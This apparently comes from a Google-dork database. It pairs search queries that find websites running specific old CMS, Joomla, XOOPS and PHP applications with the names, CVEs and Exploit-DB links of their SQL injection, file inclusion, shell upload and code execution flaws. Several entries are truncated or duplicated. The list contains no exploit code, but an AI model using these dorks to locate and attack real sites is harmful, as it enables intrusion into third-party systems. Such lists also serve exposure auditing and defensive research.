inurl:index.php?menu=showcat=	inurl:index.php?menu=showcat=	Alstrasoft Forum (cat) Remote SQL Injection Vulnerability - CVE: 2008-3954: http://www.exploit-db.com/exploits/6396
intext:elkagroup Image Gallery v1.0	intext:elkagroup Image Gallery v1.0	elkagroup Image Gallery 1.0 Remote SQL Injection Vulnerability - CVE: 2007-3461: http://www.exploit-db.com/exploits/4114
Powered by Digital College 1.0 - Magtrb Soft 2010	Powered by Digital College 1.0 - Magtrb Soft 2010	Digital College 1.0 Upload Vulnerability: http://www.exploit-db.com/exploits/12568
"powered by AMCMS3"	"powered by AMCMS3"	Agares PhpAutoVideo 2.21 (articlecat) Remote SQL Injection - CVE: 2008-0262: http://www.exploit-db.com/exploits/4905
inurl:"e107_plugins/my_gallery"	inurl:"e107_plugins/my_gallery"	e107 Plugin My_Gallery 2.3 Arbitrary File Download Vulnerability - CVE: 2008-1702: http://www.exploit-db.com/exploits/5308
"Powered by BIGACE 2.4"	"Powered by BIGACE 2.4"	BIGACE 2.4 Multiple Remote File Inclusion Vulnerabilities - CVE: 2008-2520: http://www.exploit-db.com/exploits/5596
inurl:"/wp-content/plugins/wp-shopping-cart/"	inurl:"/wp-content/plugins/wp-shopping-cart/"	Wordpress Plugin e-Commerce
intitle:"igenus webmail login"	intitle:"igenus webmail login"	iGENUS WebMail 2.0.2 (config_inc.php) Remote Code Execution - CVE: 2006-1031: http://www.exploit-db.com/exploits/1527
"Powered by www.aspportal.net"	"Powered by www.aspportal.net"	ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability - CVE: 2008-5268: http://www.exploit-db.com/exploits/5775
inurl:"com_ijoomla_archive"	inurl:"com_ijoomla_archive"	Joomla com_ijoomla_archive Blind SQL Injectio: http://www.exploit-db.com/exploits/8164
"Power by Blakord Portal"	"Power by Blakord Portal"	Blakord Portal Beta 1.3.A (all modules) SQL Injection Vulnerability -

		CVE: 2007-6565: http://www.exploit-db.com/exploits/4793
"Powered by FreeWebshop"	"Powered by FreeWebshop"	FreeWebshop
intext:"Designed by Spaceacre"	intext:"Designed by Spaceacre"	Spaceacre (SQL/XSS/HTML) Injection Vulnerabilities: http://www.exploit-db.com/exploits/12746
inurl:option=com_mv_restaurantmenumanager	inurl:option=com_mv_restaurantmenumanager	Joomla component mv_restaurantmenumanager SQL injection Vulnerability: http://www.exploit-db.com/exploits/12162
inurl:"com_ajaxchat"	inurl:"com_ajaxchat"	Joomla Ajax Chat 1.0 remote file inclusion - CVE: 2009-3822: http://www.exploit-db.com/exploits/9888
Powered by: AIH v2.3	Powered by: AIH v2.3	Advanced Image Hosting (AIH) 2.3 (gal) Blind SQL Injection Vuln - CVE: 2009-1032: http://www.exploit-db.com/exploits/8238
inurl:/macgurublog_menu/	inurl:/macgurublog_menu/	e107 Plugin BLOG Engine 2.2 (rid) Blind SQL Injection Vulnerability - CVE: 2008-2455: http://www.exploit-db.com/exploits/5604
inurl:"?page=duyurular_detay&id="	inurl:"?page=duyurular_detay&id="	Webyapar 2.0 Multiple Remote SQL Injection Vulnerabilities - CVE: 2007-4068: http://www.exploit-db.com/exploits/4224
"X-CART. Powerful PHP shopping cart software"	"X-CART. Powerful PHP shopping cart software"	X-Cart ? Multiple Remote File Inclusion Vulnerabilities - CVE: 2007-4907: http://www.exploit-db.com/exploits/4396
This site is powered by e107, which is released under the terms of the GNU GPL License.	This site is powered by e107, which is released under the terms of the GNU GPL License.	e107 0.7.21 full Mullti (RFI/XSS) Vulnerabilities: http://www.exploit-db.com/exploits/12818
"S-CMS by matteoiamma"	"S-CMS by matteoiamma"	S-CMS 2.0b3 Multiple Local File Inclusion Vulnerabilities: http://www.exploit-db.com/exploits/8913

allinurl:offers.php?id=	allinurl:offers.php?id=	B2B Classic Trading Script (offers.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12532
"Powered By HASHE"	"Powered By HASHE"	HASHE! Solutions Multiple SQL Injection Vulnerabilities: http://www.exploit-db.com/exploits/11383
inurl:we_objectID=	inurl:we_objectID=	webEdition CMS (we_objectID) Blind SQL Injection - CVE: 2008-4154: http://www.exploit-db.com/exploits/6281
"2009 Jorp"	"2009 Jorp"	Jorp 1.3.05.09 Remote Arbitrary Remove Projects/Tasks Vulnerabilities: http://www.exploit-db.com/exploits/8752
Powered by Orbis CMS	Powered by Orbis CMS	Orbis CMS 1.0 (AFD/ADF/ASU/SQL) Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/9309
inurl:"index.php?edicion_id="	inurl:"index.php?edicion_id="	Delivering Digital Media CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12840
inurl:"CIHUY"	inurl:"CIHUY"	Joomla Component (com_joomdle) SQL Injection Vulnerability - CVE: 2010-2908: http://www.exploit-db.com/exploits/14466
"/subcat.php?cate_id="	"/subcat.php?cate_id="	AJ Forum 1.0 (topic_title.php) Remote SQL Injection - CVE: 2007-1295: http://www.exploit-db.com/exploits/3411
Powered by Marinet	Powered by Marinet	Marinet cms SQL/XSS/HTML Injection Vulnerability: http://www.exploit-db.com/exploits/12577
allinurl:clientsignup.php "classifieds"	allinurl:clientsignup.php "classifieds"	Living Local 1.1 (XSS-RFU) Multiple Remote Vulnerabilities - CVE: 2008-6530: http://www.exploit-db.com/exploits/7408
Powered by TeamCal Pro	Powered by TeamCal Pro	TeamCalPro 3.1.000 Multiple Remote/Local File Inclusion Vulnerabilities - CVE: 2007-6553:

		http://www.exploit-db.com/exploits/4785
"mumbo jumbo media" + inurl:"index.php"	"mumbo jumbo media" + inurl:"index.php"	Mumbo Jumbo Media OP4 Remote Blind SQL Injection - CVE: 2008-6477: http://www.exploit-db.com/exploits/5440
inurl:"cal_day.php?op=day&catview="	inurl:"cal_day.php?op=day&catview="	Calendarix v0.8.20071118 SQL Injection: http://www.exploit-db.com/exploits/11443
intext:"pLink 2.07"	intext:"pLink 2.07"	pLink 2.07 (linkto.php id) Remote Blind SQL Injection - CVE: 2008-4357: http://www.exploit-db.com/exploits/6449
netGitar.com - Shop v1.0	netGitar.com - Shop v1.0	Net Gitar Shopv1.0 DB Download Vulnerability: http://www.exploit-db.com/exploits/11016
allinurl:fullview.php?tempid=	allinurl:fullview.php?tempid=	Template Seller Pro 3.25 (tempid) Remote SQL Injection: http://www.exploit-db.com/exploits/12360
"Powered by Scripteen Free Image Hosting Script V1.2"	"Powered by Scripteen Free Image Hosting Script V1.2"	Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber - CVE: 2008-3211: http://www.exploit-db.com/exploits/6070
allinurl:casting_view.php?adnum=	allinurl:casting_view.php?adnum=	Modelbook (casting_view.php) SQL Injection Vulnerability - CVE: 2010-1705: http://www.exploit-db.com/exploits/12443
www.stwc-counter.de	www.stwc-counter.de	STWC-Counter
[Powered by: RadLance v7.5]	[Powered by: RadLance v7.5]	RadLance Gold 7.5 Multiple Remote Vulnerabilities - CVE: 2009-4692: http://www.exploit-db.com/exploits/9195
inurl:/jobsearchengine/	inurl:/jobsearchengine/	I-net Multi User Email Script SQLi Vulnerability: http://www.exploit-db.com/exploits/14095
VevoCart Control System	VevoCart Control System	Asp VevoCart Control System Version 3.0.4 DB Download Vulnerability: http://www.exploit-db.com/exploits/11134
inurl:"com_digifol	inurl:"com_digifolio"	Joomla Component com_digifolio 1.52

io"		(id) SQL Injection Vulnerability - CVE: 2009-3193: http://www.exploit-db.com/exploits/9534
"index.php?option=com_resman"	"index.php?option=com_resman"	Joomla Component Car Manager 1.1 Remote SQL Injection - CVE: 2007-1704: http://www.exploit-db.com/exploits/3564
allinurl:offers_buy.php?id=	allinurl:offers_buy.php?id=	EC21 Clone 3.0 (id) SQL Injection Vulnerability - CVE: 2010-1726: http://www.exploit-db.com/exploits/12459
inurl:/jobsearchengine/	inurl:/jobsearchengine/	I-net Multi User Email Script SQLi Vulnerability: http://www.exploit-db.com/exploits/14129
Powered by CMScout (c)2005 CMScout Group	Powered by CMScout (c)2005 CMScout Group	CMScout 2.08 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12407
"index.php?option=com_rwcards"	"index.php?option=com_rwcards"	Joomla Component RWCards 2.4.3 Remote SQL Injection - CVE: 2007-1703: http://www.exploit-db.com/exploits/3565
inurl:/jobsearchengine/	inurl:/jobsearchengine/	I-net Multi User Email Script SQLi Vulnerability: http://www.exploit-db.com/exploits/14114
Powered by Comersus v6 Shopping Cart	Powered by Comersus v6 Shopping Cart	Comersus Shopping Cart v6 Remote User Pass: http://www.exploit-db.com/exploits/7736
intext:"Powered by Atomic Photo Album 1.1.0pre4"	intext:"Powered by Atomic Photo Album 1.1.0pre4"	Atomic Photo Album 1.1.0pre4 Blind SQL Injection - CVE: 2008-4335: http://www.exploit-db.com/exploits/6574
inurl:"com_fastball"	inurl:"com_fastball"	Joomla Fastball component 1.1.0-1.2 SQL Injection - CVE: 2009-3443: http://www.exploit-db.com/exploits/9822
"Powered by MobPartner" inurl:"chat.php"	"Powered by MobPartner" inurl:"chat.php"	MobPartner Chat Multiple Sql Injection Vulnerabilities: http://www.exploit-db.com/exploits/11321
"index.php?option=com_news_portal" or "Powered by	"index.php?option=com_news_portal" or "Powered by iJoomla News Portal"	iJoomla News Portal (Itemid) Remote SQL Injection - CVE: 2008-2676: http://www.exploit-

iJoomla News Portal"		db.com/exploits/5761
Lebi soft Ziyaretci Defteri_v7.5	Lebi soft Ziyaretci Defteri_v7.5	Lebi soft Ziyaretci Defteri_v7.5 DB Download Vulnerabilit - CVE: 2010-1065: http://www.exploit-db.com/exploits/11015
allinurl:offers_buy.php?id=	allinurl:offers_buy.php?id=	Alibaba Clone Platinum (offers_buy.php) SQL Injection Vulnerability - CVE: 2010-1725: http://www.exploit-db.com/exploits/12468
[Powered by: RadBids Gold v4]	[Powered by: RadBids Gold v4]	RadBIDS GOLD v4 Multiple Remote Vulnerabilities - CVE: 2009-3529: http://www.exploit-db.com/exploits/9194
"/subcat.php?cate_id="	"/subcat.php?cate_id="	AJ Auction Pro All Versions (subcat.php) Remote SQL Injection - CVE: 2007-1298: http://www.exploit-db.com/exploits/3408
"Desenvolvido por: Fio Mental"	"Desenvolvido por: Fio Mental"	Fiomental & Coolsis Backoffice Multi Vulnerability: http://www.exploit-db.com/exploits/12563
"Powered by ProjectCMS"	"Powered by ProjectCMS"	ProjectCMS 1.0b (index.php sn) Remote SQL Injection Vulnerability - CVE: 2009-1500: http://www.exploit-db.com/exploits/8565
Powered by DorsaCms	Powered by DorsaCms	DorsaCms (ShowPage.aspx) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6810
powered by QT-cute v1.2	powered by QT-cute v1.2	QuickTalk v1.2 (Source code disclosure) Multiple Vulnerabilities: http://www.exploit-db.com/exploits/12817
inurl:"/modules/friendfinder/"	inurl:"/modules/friendfinder/"	XOOPS Module Friendfinder
allinurl:forum_answer.php?que_id=	allinurl:forum_answer.php?que_id=	AskMe Pro 2.1 (que_id) SQL Injection Vulnerability - CVE: 2007-4085: http://www.exploit-db.com/exploits/12372
inurl:"com_facebook"	inurl:"com_facebook"	Joomla com_facebook SQL Injection - CVE: 2009-3438: http://www.exploit-

		db.com/exploits/9833
inurl:"com_facebook"	inurl:"com_facebook"	Joomla com_facebook SQL Injection - CVE: 2009-3438: http://www.exploit-db.com/exploits/9833
inurl:/modules/kshop/	inurl:/modules/kshop/	XOOPS Module Kshop 1.17 (id) Remote SQL Injectio - CVE: 2007-1810: http://www.exploit-db.com/exploits/3626
"Jinzora Media Jukebox"	"Jinzora Media Jukebox"	Jinzora 2.7 (include_path) Multiple Remote File Include Vulnerabilities - CVE: 2006-6770: http://www.exploit-db.com/exploits/3003
"Powered by EPay Enterprise" inurl:"shop.htm?cid=" | nurl:"shop.php?cid="	"Powered by EPay Enterprise" inurl:"shop.htm?cid=" | nurl:"shop.php?cid="	EPay Enterprise v4.13 (cid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12353
"Copyright 2004 easy-content forums"	"Copyright 2004 easy-content forums"	Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities - CVE: 2006-2697: http://www.exploit-db.com/exploits/1834
"Website by WebSolutions.ca"	"Website by WebSolutions.ca"	WsCMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12813
inurl:/modules/tinyevent/	inurl:/modules/tinyevent/	XOOPS Module Tiny Event 1.01 (id) Remote SQL Injection - CVE: 2007-1811: http://www.exploit-db.com/exploits/3625
Powered by: AIH v2.1	Powered by: AIH v2.1	Advanced Image Hosting (AIH) 2.1 Remote SQL Injection - CVE: 2008-2536: http://www.exploit-db.com/exploits/5601
inurl:"/modules/jobs/"	inurl:"/modules/jobs/"	XOOPS Module Jobs 2.4 (cid) Remote SQL Injection - CVE: 2007-2370: http://www.exploit-db.com/exploits/3672
Uploader des fichiers	Uploader des fichiers	Service d'upload v1.0.0 Shell Upload Vulnerability: http://www.exploit-db.com/exploits/10938
[Powered By x10media.com]	[Powered By x10media.com]	x10 Media Adult Script 1.7 Multiple Remote Vulnerabilities - CVE: 2009-

		4730: http://www.exploit-db.com/exploits/9340
inurl:/modules/camportail/	inurl:/modules/camportail/	XOOPS Module Camportail 1.1 (camid) Remote SQL Injection - CVE: 2007-1808: http://www.exploit-db.com/exploits/3629
inurl:"com_booklibrary"	inurl:"com_booklibrary"	Joomla Book Library 1.0 file inclusion - CVE: 2009-3817: http://www.exploit-db.com/exploits/9889
inurl:"/modules/myads/"	inurl:"/modules/myads/"	XOOPS Module MyAds Bug Fix 2.04jp (index.php) SQL Injection - CVE: 2007-1846: http://www.exploit-db.com/exploits/3603
"Powered by Nukedit"	"Powered by Nukedit"	Nukedit 4.9.x Remote Create Admin Exploit - CVE: 2008-5582: http://www.exploit-db.com/exploits/5192
"Ladder Scripts by http://www.mygamingladder.com"	"Ladder Scripts by http://www.mygamingladder.com"	My Gaming Ladder Combo System 7.0 Remote Code Execution - CVE: 2006-2002: http://www.exploit-db.com/exploits/1707
Powered By PHPDug version 2.0.0	Powered By PHPDug version 2.0.0	PHPDug version 2.0.0 Cross Site Scripting Vulnerability: http://www.exploit-db.com/exploits/11017
allinurl:show_memorial.php?id=	allinurl:show_memorial.php?id=	Memorial Web Site Script (id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12351
intext:Powered by Mobilelib Gold v3	intext:Powered by Mobilelib Gold v3	Mobilelib Gold v3 (Auth Bypass/SQL) Multiple Remote Vulnerabilities - CVE: 2009-2788: http://www.exploit-db.com/exploits/9327
"php-addressbook"	"php-addressbook"	PHP-Address Book 4.0.x Multiple SQL Injection Vulnerabilities - CVE: 2008-2565: http://www.exploit-db.com/exploits/9023
inurl:"com_jsjobs"	inurl:"com_jsjobs"	Joomla Component com_jsjobs 1.0.5.6 SQL Injection Vulnerabilities - CVE: 2009-4599: http://www.exploit-db.com/exploits/10366
inurl:com_ipropert	inurl:com_iproperty	Joomla Component com_iproperty

y		1.5.3 (id) SQL Injection Vulnerability - CVE: 2010-1721: http://www.exploit-db.com/exploits/12246
index.php?option=com_altas	index.php?option=com_altas	Joomla Component altas 1.0 Multiple Remote SQL Injection: http://www.exploit-db.com/exploits/6002
inurl:"index.php?module=pnFlashGames"	inurl:"index.php?module=pnFlashGames"	PostNuke Module pnFlashGames 2.5 SQL Injection Vulnerabilities - CVE: 2008-2013: http://www.exploit-db.com/exploits/5500
Design by Satcom Co	Design by Satcom Co	Eshopbuilde CMS SQL Injection Vulnerability - CVE: 2009-4155: http://www.exploit-db.com/exploits/10253
intitle:"ppc engine admin login form"	intitle:"ppc engine admin login form"	PPC Search Engine 1.61 (INC) Multiple Remote File Include Vulnerabilities - CVE: 2007-0167: http://www.exploit-db.com/exploits/3104
"powered by Albinator"	"powered by Albinator"	Albinator 2.0.6 (Config_rootdir) Remote File Inclusion - CVE: 2006-2182: http://www.exploit-db.com/exploits/1744
inurl:"/modules/library/"	inurl:"/modules/library/"	XOOPS Module Library (viewcat.php) Remote SQL Injectio - CVE: 2007-1815: http://www.exploit-db.com/exploits/3619
inurl:"/modules/repository/"	inurl:"/modules/repository/"	XOOPS Module Repository (viewcat.php) Remote SQL Injection - CVE: 2007-1847: http://www.exploit-db.com/exploits/3612
index.php?option=com_vr	index.php?option=com_vr	Joomla Component QuickTime VR 0.1 Remote SQL Injection: http://www.exploit-db.com/exploits/5994
"BioScripts"	"BioScripts"	MiniTwitter 0.2b Multiple SQL Injection Vulnerabilities - CVE: 2009-2573: http://www.exploit-db.com/exploits/8586
myAlbum-P 2.0	myAlbum-P 2.0	XOOPS Module myAlbum-P
[Software	[Software Directory Powered by	Soft Direct v1.05 Multiple

Directory Powered by SoftDirec 1.05]	SoftDirec 1.05]	Vulnerabilities: http://www.exploit-db.com/exploits/11189
powered by vBulletin 3.8.6	powered by vBulletin 3.8.6	vBulletin(R) 3.8.6 faq.php Information Disclosure Vulnerability: http://www.exploit-db.com/exploits/14455
"By Geeklog" "Created this page in" +seconds +powered	"By Geeklog" "Created this page in" +seconds +powered	Geeklog v1.6.0sr2 - Remote File Upload: http://www.exploit-db.com/exploits/9855
inurl:"xampp/biorhythm.php"	inurl:"xampp/biorhythm.php"	XAMPP 1.7.3 multiple vulnerabilites: http://www.exploit-db.com/exploits/15370
Powered by 2532|Gigs v1.2.2	Powered by 2532|Gigs v1.2.2	2532|Gigs 1.2.2 Stable Multiple Remote Vulnerabilities - CVE: 2008-6901: http://www.exploit-db.com/exploits/7510
"Powered by bp blog 6.0"	"Powered by bp blog 6.0"	BP Blog 6.0 (id) Remote Blind SQL Injection Vulnerability - CVE: 2008-2554: http://www.exploit-db.com/exploits/5705
inurl:"com_soundset"	inurl:"com_soundset"	Joomla CB Resume Builder SQL Injection - CVE: 2009-3645: http://www.exploit-db.com/exploits/10064
inurl:"/modules/zmagazine/"	inurl:"/modules/zmagazine/"	XOOPS Module Zmagazine 1.0 (print.php) Remote SQL Injection - CVE: 2005-0725: http://www.exploit-db.com/exploits/3646
Powered by iScripts eSwap.	Powered by iScripts eSwap.	iScripts eSwap v2.0 sqli and xss vulnerability: http://www.exploit-db.com/exploits/13740
"Powered by Online Grades"	"Powered by Online Grades"	Online Grades & Attendance 3.2.6 Multiple Local File Inclusion Vulns - CVE: 2009-2037: http://www.exploit-db.com/exploits/8853
inurl:/modules/wflinks	inurl:/modules/wflinks	XOOPS Module WF-Links 1.03 (cid) Remote SQL Injection - CVE: 2007-2373: http://www.exploit-db.com/exploits/3670
inurl:"/modules/gl	inurl:"/modules/glossaire/"	XOOPS Module Glossarie

ossaire/"		
index.php?option=com_is	index.php?option=com_is	Joomla Component is 1.0.1 Multiple Remote SQL Injection: http://www.exploit-db.com/exploits/5995
inurl:"/modules/myconference/"	inurl:"/modules/myconference/"	XOOPS Module MyConference 1.0 (index.php) SQL Injection - CVE: 2007-2737: http://www.exploit-db.com/exploits/3933
inurl:"com_gameserver"	inurl:"com_gameserver"	Joomla Component com_gameserver 1.0 (id) SQL Injection Vulnerability - CVE: 2009-3063: http://www.exploit-db.com/exploits/9571
Powered by Ninja Designs This is a port of WordPress	Powered by Ninja Designs This is a port of WordPress	Ninja Blog v4.8 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/10991
inurl:com_annonces	inurl:com_annonces	Joomla Component com_annonces Upload Vulnerability: http://www.exploit-db.com/exploits/13748
Copyright 1999-2010 Rocksalt International Pty Ltd. All rights reserved	Copyright 1999-2010 Rocksalt International Pty Ltd. All rights reserved	VP-ASP Shopping Cart 7.0 DB Download Vulnerability: http://www.exploit-db.com/exploits/11018
inurl:"fclick.php?fid"	inurl:"fclick.php?fid"	Fast Click (1.1.3 , 2.3.8) (show.php) Remote File Inclusion - CVE: 2006-2175: http://www.exploit-db.com/exploits/1740
inurl:"/modules/wfsection/"	inurl:"/modules/wfsection/"	http://www.exploit-db.com/exploits/3644
Powered by Forums W-Agora	Powered by Forums W-Agora	W-Agora v.4.2.1 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/10999
intext:"phpbb - auction" inurl:"auction"	intext:"phpbb - auction" inurl:"auction"	Auction 1.3m (phpbb_root_path) Remote File Include - CVE: 2006-2245: http://www.exploit-db.com/exploits/1747
"powered by DreamAccount 3.1"	"powered by DreamAccount 3.1"	DreamAccount 3.1 (auth.api.php) Remote File Include - CVE: 2006-6232: http://www.exploit-db.com/exploits/1954

allinurl:"article.download.php"	allinurl:"article.download.php"	Star Articles 6.0 Remote File Upload Vulnerability - CVE: 2008-7076: http://www.exploit-db.com/exploits/7251
inurl:com_jp_jobs	inurl:com_jp_jobs	Joomla Component com_jp_jobs 1.2.0 (id) SQL Injection Vulnerability - CVE: 2010-1350: http://www.exploit-db.com/exploits/12191
intitle:admbook intitle:version filetype:php	intitle:admbook intitle:version filetype:php	Admbook 1.2.2 (X-Forwarded-For) Remote Command Execution - CVE: 2006-0852: http://www.exploit-db.com/exploits/1512
"Cms.tut.su, 2009 g."	"Cms.tut.su, 2009 g."	CMS Chainuk 1.2 Multiple Remote Vulnerabilities - CVE: 2009-2333: http://www.exploit-db.com/exploits/9069
inurl:"com_icrmbasic"	inurl:"com_icrmbasic"	Joomla IRCm Basic SQL Injection: http://www.exploit-db.com/exploits/9812
"Powered By Aqua Cms"	"Powered By Aqua Cms"	Aqua CMS (username) SQL Injection Vulnerability - CVE: 2009-1317: http://www.exploit-db.com/exploits/8432
inurl:"com_jbudgetsmagic"	inurl:"com_jbudgetsmagic"	Joomla com_jbudgetsmagic SQL injection vulnerability - CVE: 2009-3332: http://www.exploit-db.com/exploits/9723
inurl:"com_soundset"	inurl:"com_soundset"	Joomla Soundset 1.0 SQL Injection - CVE: 2009-3644: http://www.exploit-db.com/exploits/10067
Powered by MyPHP Forum v3.0	Powered by MyPHP Forum v3.0	MyPHP Forum 3.0 (Final) Remote SQL Injection Vulnerability - CVE: 2008-0099: http://www.exploit-db.com/exploits/4831
"Powered by CMS.GE"	"Powered by CMS.GE"	Binn SBuilder (nid) Remote Blind SQL Injection Vulnerability - CVE: 2008-0253: http://www.exploit-db.com/exploits/4904
index.php?option=com_mambads	index.php?option=com_mambads	Mambo Component mambads
"AlumniServer project"	"AlumniServer project"	AlumniServer 1.0.1 (Auth Bypass) SQL Injection Vulnerability:

		http://www.exploit-db.com/exploits/9019
"Site powered by GuppY"	"Site powered by GuppY"	GuppY 4.6.3 (includes.inc selskin) Remote File Inclusion Vulnerability - CVE: 2007-5844: http://www.exploit-db.com/exploits/4602
inurl:"com_surveymanager"	inurl:"com_surveymanager"	Joomla com_surveymanager SQL injection vulnerability - CVE: 2009-3325: http://www.exploit-db.com/exploits/9721
Powered by PHP F1 (Max's Image Uploader)	Powered by PHP F1 (Max's Image Uploader)	Max's Image Uploader Shell Upload Vulnerability - CVE: 2010-0390: http://www.exploit-db.com/exploits/11169
inurl:"?option=com_bsadv"	inurl:"?option=com_bsadv"	Joomla Boy Scout Advancement 0.3 (id) SQL Injection - CVE: 2009-2290: http://www.exploit-db.com/exploits/8779
"Powered by PHP Live! v3.3"	"Powered by PHP Live! v3.3"	PHP Live! 3.3 (deptid) Remote SQL Injection Vulnerability - CVE: 2009-3062: http://www.exploit-db.com/exploits/9578
Powered by PHP F1 (Max's Photo Album)	Powered by PHP F1 (Max's Photo Album)	Max's Photo Album Shell Upload Vulnerability: http://www.exploit-db.com/exploits/11557
insite: SmarterMail Enterprise 7.1	insite: SmarterMail Enterprise 7.1	SmarterMail 7.1.3876 Directory Traversal Vulnerability - CVE: 2010-3486: http://www.exploit-db.com/exploits/15048
"Powered by LightNEasy"	"Powered by LightNEasy"	LightNEasy 3.1.x Multiple Vulnerabilite: http://www.exploit-db.com/exploits/12322
"Powered by Online Grades"	"Powered by Online Grades"	Online Grades & Attendance 3.2.6 Multiple SQL Injection Vulnerabilities - CVE: 2009-2598: http://www.exploit-db.com/exploits/8844
"Copyright KerviNet"	"Copyright KerviNet"	KerviNet Forum 1.1 Multiple Remote Vulnerabilities - CVE: 2009-2326: http://www.exploit-db.com/exploits/9068
allinurl:option=com_rsmonials	allinurl:option=com_rsmonials	Joomla Component rsmonials Remote Cross Site Scripting:

		http://www.exploit-db.com/exploits/8517
"Powered by F3Site"	"Powered by F3Site"	F3Site 2.1 Remote Code Execution - CVE: 2007-0763: http://www.exploit-db.com/exploits/3255
"Powered by ProjectCMS"	"Powered by ProjectCMS"	ProjectCMS 1.1b Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/8608
"Powered by PunBB"	"Powered by PunBB"	PunBB Extension Attachment 1.0.2 SQL Injection: http://www.exploit-db.com/exploits/9849
"The Merchant Project"	"The Merchant Project"	The Merchant
"Developed by rbk"	"Developed by rbk"	InfiniX 1.2.003 Multiple SQL Injection Vulnerabilities - CVE: 2009-2451: http://www.exploit-db.com/exploits/8558
Powered by Elvin Bug Tracking Server.	Powered by Elvin Bug Tracking Server.	Elvin BTS 1.2.0 Multiple Remote Vulnerabilities - CVE: 2009-2123: http://www.exploit-db.com/exploits/8953
intitle:"Directory Listing For /" + inurl:webdav tomcat	intitle:"Directory Listing For /" + inurl:webdav tomcat	Apache Tomcat (webdav) Remote File Disclosure: http://www.exploit-db.com/exploits/4552
Powered By PHPFanBase	Powered By PHPFanBase	PHPFanBase 2.x (protection.php) Remote File Include Vulnerability: http://www.exploit-db.com/exploits/2957
"Powered by wpQuiz"	"Powered by wpQuiz"	wpQuiz 2.7 Multiple Remote SQL Injection Vulnerabilities - CVE: 2007-6172: http://www.exploit-db.com/exploits/4668
inurl:"com_ezine"	inurl:"com_ezine"	Joomla / Mambo Component com_ezine v2.1 Remote File Include Vulnerability - CVE: 2009-4094: http://www.exploit-db.com/exploits/10178
"Powered by ClanTiger"	"Powered by ClanTiger"	ClanTiger 1.1.1 (Auth Bypass) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8472

"Search Projects" intitle:"The ultimate project website"	"Search Projects" intitle:"The ultimate project website"	Softbiz Freelancers Script v.1 Remote SQL Injection - CVE: 2007-6124: http://www.exploit-db.com/exploits/4660
"Power by:RichStrong CMS"	"Power by:RichStrong CMS"	RichStrong CMS (showproduct.asp cat) Remote SQL Injection - CVE: 2008-0291: http://www.exploit-db.com/exploits/4910
powered:powered by CMS	powered:powered by CMS	TinyMCE WYSIWYG Editor Multiple Vulnerabilities: http://www.exploit-db.com/exploits/11358
"Powered by Grayscale Blog"	"Powered by Grayscale Blog"	Grayscale Blog 0.8.0 (Security Bypass/SQL/XSS) Multiple Remote Vulns - CVE: 2007-1432: http://www.exploit-db.com/exploits/3447
inurl:roschedule.php	inurl:roschedule.php	phpScheduleIt 1.2.10 (reserve.php) Remote Code Execution - CVE: 2008-6132: http://www.exploit-db.com/exploits/6646
"PHP Project Management 0.8.10"	"PHP Project Management 0.8.10"	PHP Project Management 0.8.10 Multiple RFI / LFI Vulnerabilities - CVE: 2007-5641: http://www.exploit-db.com/exploits/4549
inurl:com_seyret	inurl:com_seyret	Joomla Seyret Video Component (com_seyret) Blind SQL Injection: http://www.exploit-db.com/exploits/14172
"download this free gallery at matteobinda.com"	"download this free gallery at matteobinda.com"	ASP Photo Gallery 1.0 Multiple SQL Injection Vulnerabilities - CVE: 2008-0256: http://www.exploit-db.com/exploits/4900
Powered by Dodo, Bubo & Misty. Feed us!	Powered by Dodo, Bubo & Misty. Feed us!	Dodo Upload Version 1.3 Upload Shell (By pass) Vulnerability: http://www.exploit-db.com/exploits/11460
Nwahy.com 2.1 , inurl:'add-site.html'	Nwahy.com 2.1 , inurl:'add-site.html'	Nwahy Dir 2.1 Arbitrary Change Admin Password: http://www.exploit-db.com/exploits/9087
inurl:index.php?option=com_jombib	inurl:index.php?option=com_jombib	Joomla Component BibTeX 1.3 Remote Blind SQL Injection - CVE: 2007-4502: http://www.exploit-db.com/exploits/4310

allinurl:"shop.htm ?shopMGID="	allinurl:"shop.htm?shopMGID="	CMS Ignition SQL Injection: http://www.exploit-db.com/exploits/14471
"By Geeklog" "Created this page in" +seconds +powered inurl:public_html	"By Geeklog" "Created this page in" +seconds +powered inurl:public_html	Geeklog 1.6.0sr1 Remote Arbitrary File Upload Vulnerability: http://www.exploit-db.com/exploits/9505
"nukeai beta3"	"nukeai beta3"	PHP-Nuke NukeAI Module 3b (util.php) Remote File Include - CVE: 2006-6255: http://www.exploit-db.com/exploits/2843
"Powered by UPB"	"Powered by UPB"	Ultimate PHP Board 2.0b1 (chat/login.php) Code Execution: http://www.exploit-db.com/exploits/2999
intitle:"owl intranet * owl" 0.82	intitle:"owl intranet * owl" 0.82	OWL Intranet Engine 0.82 (xrms_file_root) Code Execution - CVE: 2006-1149: http://www.exploit-db.com/exploits/1561
Copyright 2006-2009 Insane Visions	Copyright 2006-2009 Insane Visions	AdaptCMS Lite 1.5 Remote File Inclusion Vulnerability: http://www.exploit-db.com/exploits/10249
"powered by JAMM"	"powered by JAMM"	JAMM CMS (id) Remote Blind SQL Injection - CVE: 2008-2755: http://www.exploit-db.com/exploits/5789
inurl:"printable_pedigree.php"	inurl:"printable_pedigree.php"	Dog Pedigree Online Database 1.0.1b Multiple SQL Injection: http://www.exploit-db.com/exploits/8738
intext:"Powered by Lore 1.5.6"	intext:"Powered by Lore 1.5.6"	re 1.5.6 (article.php) Blind SQL Injection: http://www.exploit-db.com/exploits/7896
"powered by jmdcms.com"	"powered by jmdcms.com"	JMD-CMS Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/15044
"Driven by DokuWiki"	"Driven by DokuWiki"	DokuWiki 2006-03-09b (dwpage.php) System Disclosure: http://www.exploit-db.com/exploits/2322
intext:"Powered	intext:"Powered by Pc4Uploader	Pc4Uploader 9.0 Remote Blind SQL

